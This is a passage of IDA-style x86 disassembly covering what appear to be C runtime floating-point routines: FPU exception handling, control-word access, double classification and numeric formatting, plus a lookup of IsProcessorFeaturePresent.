--------------------------------------------------------------------------- loc_4212D9: ; CODE XREF: sub_421294+2Dj ; sub_421294+33j test al, bl jz loc_4213B3 test byte ptr [ebp+arg_8], 8 jz loc_4213B3 push 8 call sub_421741 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_42138B cmp ecx, 400h jz short loc_421363 cmp ecx, 800h jz short loc_42133B cmp ecx, eax jnz loc_4213AB mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABF8 fnstsw ax sahf ja short loc_421333 fchs loc_421333: ; CODE XREF: sub_421294+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42133B: ; CODE XREF: sub_421294+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_421353 fld dbl_43ABE8 jmp short loc_42135B ; --------------------------------------------------------------------------- loc_421353: ; CODE XREF: sub_421294+B5j fld dbl_43ABF8 fchs loc_42135B: ; CODE XREF: sub_421294+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_421363: ; CODE XREF: sub_421294+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fnstsw ax sahf jbe short loc_42137B fld dbl_43ABF8 jmp short loc_421383 ; --------------------------------------------------------------------------- loc_42137B: ; CODE XREF: sub_421294+DDj fld dbl_43ABE8 fchs loc_421383: ; CODE XREF: sub_421294+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_42138B: ; CODE XREF: sub_421294+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427848 fld dbl_43ABE8 fnstsw ax sahf ja short loc_4213A3 fchs loc_4213A3: ; CODE XREF: sub_421294+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4213A9: ; CODE XREF: sub_421294+A5j ; sub_421294+CDj ... fstp qword ptr [ecx] loc_4213AB: ; CODE XREF: sub_421294+81j and edi, 0FFFFFFFEh jmp loc_421489 ; --------------------------------------------------------------------------- loc_4213B3: ; CODE XREF: sub_421294+47j ; sub_421294+51j test al, 2 jz loc_421489 test byte ptr [ebp+arg_8], 10h jz loc_421489 push esi xor esi, esi test al, 10h jz short loc_4213CE mov esi, ebx loc_4213CE: ; CODE XREF: sub_421294+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jz loc_421477 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421640 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421419 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_42146D ; --------------------------------------------------------------------------- loc_421419: ; CODE XREF: sub_421294+17Aj fld [ebp+var_C] fcomp dbl_427848 fnstsw ax sahf jnb short loc_42142B mov edx, ebx jmp short loc_42142D ; --------------------------------------------------------------------------- loc_42142B: ; CODE XREF: sub_421294+191j xor edx, edx loc_42142D: ; CODE XREF: sub_421294+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421461 sub eax, ecx loc_421444: ; CODE XREF: sub_421294+1CBj test byte ptr [ebp+var_C], bl jz short loc_42144F test esi, esi jnz short loc_42144F mov esi, ebx loc_42144F: ; CODE XREF: sub_421294+1B3j ; sub_421294+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_42145B or byte ptr [ebp+var_C+3], 80h loc_42145B: ; CODE XREF: sub_421294+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421444 loc_421461: ; CODE XREF: sub_421294+1ACj test edx, edx jz short loc_42146D fld [ebp+var_C] fchs fstp [ebp+var_C] loc_42146D: ; CODE XREF: sub_421294+183j ; sub_421294+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421479 ; --------------------------------------------------------------------------- loc_421477: ; CODE XREF: sub_421294+14Ej mov esi, ebx loc_421479: ; CODE XREF: sub_421294+1E1j test esi, esi pop esi jz short loc_421486 push 10h call sub_421741 pop ecx loc_421486: ; CODE XREF: sub_421294+1E8j and edi, 0FFFFFFFDh loc_421489: ; CODE XREF: sub_421294+26j ; sub_421294+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4214A0 test byte ptr [ebp+arg_8], 20h jz short loc_4214A0 push 20h call sub_421741 pop ecx and edi, 0FFFFFFEFh loc_4214A0: ; CODE XREF: sub_421294+1F9j ; sub_421294+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4214AB(int,int,int,int,int,int,double,int) sub_4214AB proc near ; CODE XREF: sub_420EF6+2Bp ; sub_420F49+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421559 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421516 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_42171E lea eax, [ebp+var_20] push eax call sub_423F2D add esp, 0Ch test eax, eax jnz short loc_421510 push esi call sub_421533 pop ecx loc_421510: ; CODE XREF: sub_4214AB+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421516: ; CODE XREF: sub_4214AB+14j push 0FFFFh push [ebp+arg_20] call sub_42171E push [ebp+arg_0] call sub_421533 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4214AB endp ; =============== S U B R O U T I N E ======================================= sub_421533 proc near ; CODE XREF: sub_420F49+7Dp ; sub_4214AB+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42154E jle short locret_421558 cmp eax, 3 jg short locret_421558 mov dword_4D9714, 22h retn ; --------------------------------------------------------------------------- loc_42154E: ; CODE XREF: sub_421533+7j mov dword_4D9714, 21h locret_421558: ; CODE XREF: sub_421533+9j ; sub_421533+Ej retn sub_421533 endp ; =============== S U B R O U T I N E ======================================= sub_421559 proc near ; CODE XREF: sub_4214AB+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43AB10 loc_421560: ; CODE XREF: sub_421559+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421576 add eax, 8 inc ecx cmp eax, offset dbl_43ABE8 jl short loc_421560 xor eax, eax retn ; --------------------------------------------------------------------------- loc_421576: ; CODE XREF: sub_421559+Dj mov eax, off_43AB14[ecx*8] retn sub_421559 endp ; =============== S U B R O U T I N E ======================================= sub_42157E proc near ; CODE XREF: sub_420F49+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_42158A push 5 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42158A: ; CODE XREF: sub_42157E+6j test al, 8 jz short loc_421592 push 1 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_421592: ; CODE XREF: sub_42157E+Ej test al, 4 jz short loc_42159A push 2 jmp short loc_4215A0 ; --------------------------------------------------------------------------- loc_42159A: ; CODE XREF: sub_42157E+16j test al, 1 jz short loc_4215A2 push 3 loc_4215A0: ; CODE XREF: sub_42157E+Aj ; sub_42157E+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4215A2: ; CODE XREF: sub_42157E+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_42157E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215AB(double) sub_4215AB proc near ; CODE XREF: sub_41CDE5:loc_41CE6Bp ; sub_41CF2B:loc_41CFB1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4215AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4215BD(double,int) sub_4215BD proc near ; CODE XREF: sub_421640+82p ; sub_421640+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4215BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4215E6 proc near ; CODE XREF: sub_41CDE5+31p ; sub_41CF2B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4215FD cmp [ebp+arg_0], edx jnz short loc_42160F push 1 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_4215FD: ; CODE XREF: sub_4215E6+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_42160F cmp [ebp+arg_0], edx jnz short loc_42160F push 2 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_42160F: ; CODE XREF: sub_4215E6+11j ; sub_4215E6+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421622 push 3 jmp short loc_421639 ; --------------------------------------------------------------------------- loc_421622: ; CODE XREF: sub_4215E6+36j cmp cx, 7FF0h jnz short loc_42163C test [ebp+arg_4], 7FFFFh jnz short loc_421637 cmp [ebp+arg_0], edx jz short loc_42163C loc_421637: ; CODE XREF: sub_4215E6+4Aj push 4 loc_421639: ; CODE XREF: sub_4215E6+15j ; sub_4215E6+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42163C: ; CODE XREF: sub_4215E6+41j ; sub_4215E6+4Fj xor eax, eax pop ebp retn sub_4215E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421640(double,int) sub_421640 proc near ; CODE XREF: sub_421294+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427848 push esi fnstsw ax sahf jnz short loc_421660 fldz xor esi, esi fstp [ebp+var_8] jmp loc_4216F6 ; --------------------------------------------------------------------------- loc_421660: ; CODE XREF: sub_421640+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4216CF test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421678 cmp dword ptr [ebp+arg_0], ecx jz short loc_4216CF loc_421678: ; CODE XREF: sub_421640+31j fld [ebp+arg_0] fcomp dbl_427848 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421690 push 1 pop eax jmp short loc_421692 ; --------------------------------------------------------------------------- loc_421690: ; CODE XREF: sub_421640+49j xor eax, eax loc_421692: ; CODE XREF: sub_421640+4Ej ; sub_421640+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_4216AB shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4216A5 or dword ptr [ebp+arg_0+4], 1 loc_4216A5: ; CODE XREF: sub_421640+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421692 ; --------------------------------------------------------------------------- loc_4216AB: ; CODE XREF: sub_421640+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4216B9 or byte ptr [ebp+arg_0+7], 80h loc_4216B9: ; CODE XREF: sub_421640+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD fstp [ebp+var_8] add esp, 0Ch jmp short loc_4216F6 ; --------------------------------------------------------------------------- loc_4216CF: ; CODE XREF: sub_421640+28j ; sub_421640+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4215BD mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4216F6: ; CODE XREF: sub_421640+1Bj ; sub_421640+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421701 proc near ; CODE XREF: sub_420FE1+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421701 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42170F proc near ; CODE XREF: sub_420FE1+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42170F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42171E proc near ; CODE XREF: sub_41CDE5+13p ; sub_41CDE5+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_42171E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421741 proc near ; CODE XREF: sub_421294+1Dp ; sub_421294+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421758 fld tbyte_43AC10 fistp [ebp+arg_0] wait loc_421758: ; CODE XREF: sub_421741+Bj test cl, 8 jz short loc_42176D fstsw ax fld tbyte_43AC10 fstp [ebp+var_8] wait fstsw ax loc_42176D: ; CODE XREF: sub_421741+1Aj test cl, 10h jz short loc_42177C fld tbyte_43AC1C fstp [ebp+var_8] wait loc_42177C: ; CODE XREF: sub_421741+2Fj test cl, 4 jz short loc_42178A fldz fld1 fdivrp st(1), st fstp st wait loc_42178A: ; CODE XREF: sub_421741+3Ej test cl, 20h jz short locret_421795 fldpi fstp [ebp+var_8] wait locret_421795: ; CODE XREF: sub_421741+4Cj leave retn sub_421741 endp ; =============== S U B R O U T I N E ======================================= sub_421797 proc near ; CODE XREF: sub_41CEB4+Fp push 30000h push 10000h call sub_423F65 pop ecx pop ecx retn sub_421797 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217A9 proc near ; CODE XREF: sub_4217E7:loc_42180Bj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427858 fstp [ebp+var_8] fld dbl_427850 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427710 fnstsw ax sahf jbe short loc_4217E3 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4217E3: ; CODE XREF: sub_4217A9+33j xor eax, eax leave retn sub_4217A9 endp ; =============== S U B R O U T I N E ======================================= sub_4217E7 proc near ; CODE XREF: sub_41CEB4+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26906BCh test eax, eax jz short loc_42180B push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26C0000h test eax, eax jz short loc_42180B push 0 call eax ; sub_41CEB4 retn ; --------------------------------------------------------------------------- loc_42180B: ; CODE XREF: sub_4217E7+Dj ; sub_4217E7+1Dj jmp sub_4217A9 sub_4217E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421810 proc near ; CODE XREF: sub_41F5D4+3CBp ; DATA XREF: sub_41CECC+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DEEC cmp eax, 65h pop ecx jz short loc_421850 loc_421824: ; CODE XREF: sub_421810+3Ej inc esi cmp dword_43A88C, 1 jle short loc_42183D movsx eax, byte ptr [esi] push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42184C ; --------------------------------------------------------------------------- loc_42183D: ; CODE XREF: sub_421810+1Cj movsx eax, byte ptr [esi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 loc_42184C: ; CODE XREF: sub_421810+2Bj test eax, eax jnz short loc_421824 loc_421850: ; CODE XREF: sub_421810+12j mov cl, byte_43A890 mov al, [esi] mov [esi], cl inc esi loc_42185B: ; CODE XREF: sub_421810+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_42185B pop esi retn sub_421810 endp ; =============== S U B R O U T I N E ======================================= sub_42186A proc near ; CODE XREF: sub_41F5D4+3E2p ; DATA XREF: sub_41CECC+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43A890 mov cl, [eax] test cl, cl jz short loc_421886 loc_42187A: ; CODE XREF: sub_42186A+1Aj cmp cl, dl jz short loc_421886 mov cl, [eax+1] inc eax test cl, cl jnz short loc_42187A loc_421886: ; CODE XREF: sub_42186A+Ej ; sub_42186A+12j mov cl, [eax] inc eax test cl, cl jz short locret_4218B7 loc_42188D: ; CODE XREF: sub_42186A+34j mov cl, [eax] test cl, cl jz short loc_4218A0 cmp cl, 65h jz short loc_4218A0 cmp cl, 45h jz short loc_4218A0 inc eax jmp short loc_42188D ; --------------------------------------------------------------------------- loc_4218A0: ; CODE XREF: sub_42186A+27j ; sub_42186A+2Cj ... mov ecx, eax loc_4218A2: ; CODE XREF: sub_42186A+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_4218A2 cmp [eax], dl jnz short loc_4218AD dec eax loc_4218AD: ; CODE XREF: sub_42186A+40j ; sub_42186A+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_4218AD locret_4218B7: ; CODE XREF: sub_42186A+21j retn sub_42186A endp ; =============== S U B R O U T I N E ======================================= sub_4218B8 proc near ; DATA XREF: sub_41CECC+28o ; ___:off_43AC38o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427848 fnstsw ax sahf jb short loc_4218CD push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4218CD: ; CODE XREF: sub_4218B8+Fj xor eax, eax retn sub_4218B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218D0 proc near ; CODE XREF: sub_420445+430p ; DATA XREF: sub_41CECC+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4218F9 lea eax, [ebp+var_8] push eax call sub_424428 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4218F9: ; CODE XREF: sub_4218D0+Cj lea eax, [ebp+arg_8] push eax call sub_424455 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4218D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42190E proc near ; CODE XREF: sub_421B8B+17p ; sub_421BD5+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4D97AC, 0 push ebx push esi jz short loc_421943 mov ebx, [ebp+arg_8] mov eax, dword_4D97A8 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421C26 pop ecx pop ecx jmp short loc_42197B ; --------------------------------------------------------------------------- loc_421943: ; CODE XREF: sub_42190E+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4244F9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424482 add esp, 14h loc_42197B: ; CODE XREF: sub_42190E+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421987 mov byte ptr [eax], 2Dh inc eax loc_421987: ; CODE XREF: sub_42190E+73j test ebx, ebx jle short loc_42199F mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43A890 mov eax, edi pop edi mov [eax], cl loc_42199F: ; CODE XREF: sub_42190E+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4D97AC, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C620 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4219C6 mov byte ptr [ecx], 45h loc_4219C6: ; CODE XREF: sub_42190E+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421A0B mov ebx, [esi+4] dec ebx jns short loc_4219DA neg ebx mov byte ptr [ecx], 2Dh loc_4219DA: ; CODE XREF: sub_42190E+C5j inc ecx cmp ebx, 64h jl short loc_4219F1 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4219F1: ; CODE XREF: sub_42190E+D0j inc ecx cmp ebx, 0Ah jl short loc_421A08 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421A08: ; CODE XREF: sub_42190E+E7j add [ecx+1], bl loc_421A0B: ; CODE XREF: sub_42190E+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_42190E endp ; =============== S U B R O U T I N E ======================================= sub_421A12 proc near ; CODE XREF: sub_421BB2+13p ; sub_421BD5+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4D97AC, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421A4D mov eax, dword_4D97B0 mov ebx, [esp+10h+arg_8] mov esi, dword_4D97A8 cmp eax, ebx jnz short loc_421A7D xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421A7D ; --------------------------------------------------------------------------- loc_421A4D: ; CODE XREF: sub_421A12+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4244F9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424482 add esp, 14h loc_421A7D: ; CODE XREF: sub_421A12+22j ; sub_421A12+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421A8B mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421A8B: ; CODE XREF: sub_421A12+70j mov eax, [esi+4] test eax, eax jg short loc_421AA2 push 1 push edi call sub_421C26 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421AA4 ; --------------------------------------------------------------------------- loc_421AA2: ; CODE XREF: sub_421A12+7Ej add edi, eax loc_421AA4: ; CODE XREF: sub_421A12+8Ej test ebx, ebx jle short loc_421AE9 push 1 push edi call sub_421C26 mov al, byte_43A890 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421AE9 cmp byte_4D97AC, 0 jz short loc_421ACE neg esi jmp short loc_421AD4 ; --------------------------------------------------------------------------- loc_421ACE: ; CODE XREF: sub_421A12+B6j neg esi cmp ebx, esi jl short loc_421AD6 loc_421AD4: ; CODE XREF: sub_421A12+BAj mov ebx, esi loc_421AD6: ; CODE XREF: sub_421A12+C0j push ebx push edi call sub_421C26 push ebx push 30h push edi call sub_41BD10 add esp, 14h loc_421AE9: ; CODE XREF: sub_421A12+94j ; sub_421A12+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421AF0 proc near ; CODE XREF: sub_421BD5+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4244F9 mov dword_4D97A8, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4D97B0, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424482 mov eax, dword_4D97A8 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4D97B0, ecx setl cl mov byte_4D97B4, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4D97B0, eax jl short loc_421B76 cmp eax, ebx jge short loc_421B76 test cl, cl jz short loc_421B67 loc_421B5D: ; CODE XREF: sub_421AF0+72j mov al, [esi] inc esi test al, al jnz short loc_421B5D and [esi-2], al loc_421B67: ; CODE XREF: sub_421AF0+6Bj push ebx push [ebp+arg_4] push edi call sub_421BB2 add esp, 0Ch jmp short loc_421B86 ; --------------------------------------------------------------------------- loc_421B76: ; CODE XREF: sub_421AF0+63j ; sub_421AF0+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421B8B add esp, 10h loc_421B86: ; CODE XREF: sub_421AF0+84j pop edi pop esi pop ebx pop ebp retn sub_421AF0 endp ; =============== S U B R O U T I N E ======================================= sub_421B8B proc near ; CODE XREF: sub_421AF0+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4D97AC, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_42190E and byte_4D97AC, 0 add esp, 10h retn sub_421B8B endp ; =============== S U B R O U T I N E ======================================= sub_421BB2 proc near ; CODE XREF: sub_421AF0+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4D97AC, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421A12 and byte_4D97AC, 0 add esp, 0Ch retn sub_421BB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BD5 proc near ; CODE XREF: sub_41F5D4+3AAp ; DATA XREF: sub_41CECCo ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421C10 cmp [ebp+arg_8], 45h jz short loc_421C10 cmp [ebp+arg_8], 66h jnz short loc_421BFD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421A12 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421BFD: ; CODE XREF: sub_421BD5+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421AF0 jmp short loc_421C21 ; --------------------------------------------------------------------------- loc_421C10: ; CODE XREF: sub_421BD5+7j ; sub_421BD5+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42190E loc_421C21: ; CODE XREF: sub_421BD5+39j add esp, 10h pop ebp retn sub_421BD5 endp ; =============== S U B R O U T I N E ======================================= sub_421C26 proc near ; CODE XREF: sub_42190E+2Cp ; sub_421A12+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421C49 push esi mov esi, [esp+8+arg_0] push esi call sub_41B960 inc eax push eax push esi add esi, edi push esi call sub_41D400 add esp, 10h pop esi loc_421C49: ; CODE XREF: sub_421C26+7j pop edi retn sub_421C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C4B proc near ; CODE XREF: ___:0041D0ACp ; sub_41D115+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch 